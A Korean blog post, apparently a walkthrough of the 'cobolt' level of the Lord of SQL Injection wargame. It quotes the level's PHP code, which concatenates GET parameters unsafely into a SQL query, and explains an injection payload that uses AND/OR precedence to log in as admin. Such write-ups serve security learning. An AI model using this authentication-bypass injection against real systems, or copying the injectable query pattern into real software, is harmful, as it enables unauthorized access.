Almon Dev

[Lord of SQL Injection] cobolt 풀이 본문

모의해킹/Lord of SQLi

[Lord of SQL Injection] cobolt 풀이

Almon 2025. 1. 6. 16:55

LOS 풀이

 

cobolt

 

 

풀이

1. 코드 분석

이번 문제는 GET 메서드로 id와 pw 파라미터를 입력하면 쿼리에 삽입이 되며

쿼리의 결과 id가 admin일 경우 문제가 풀립니다.

pw의 값을 md5로 해시화를 하고 있습니다.

$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("cobolt");

 

gremlin 문제와 똑같은 필터링을 하고 있습니다.

if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

 

2. 쿼리 삽입

gremlin 문제에서 사용했던 연산자 우선순위를 이용하면 문제를 쉽게 풀 수 있습니다.

select id from prob_cobolt where id='admin' and 1=1 or '1'='1' and pw=md5('')

 

and 연산의 우선순위가 or보다 높기에 ()를 붙여서 해석하면 아래와 같습니다.
where ( id='admin' and 1=1 ) or ( '1'='1' and pw=md5('') )
where id='admin' or false가 되어 id가 admin인 값이 쿼리의 결과로 출력됩니다.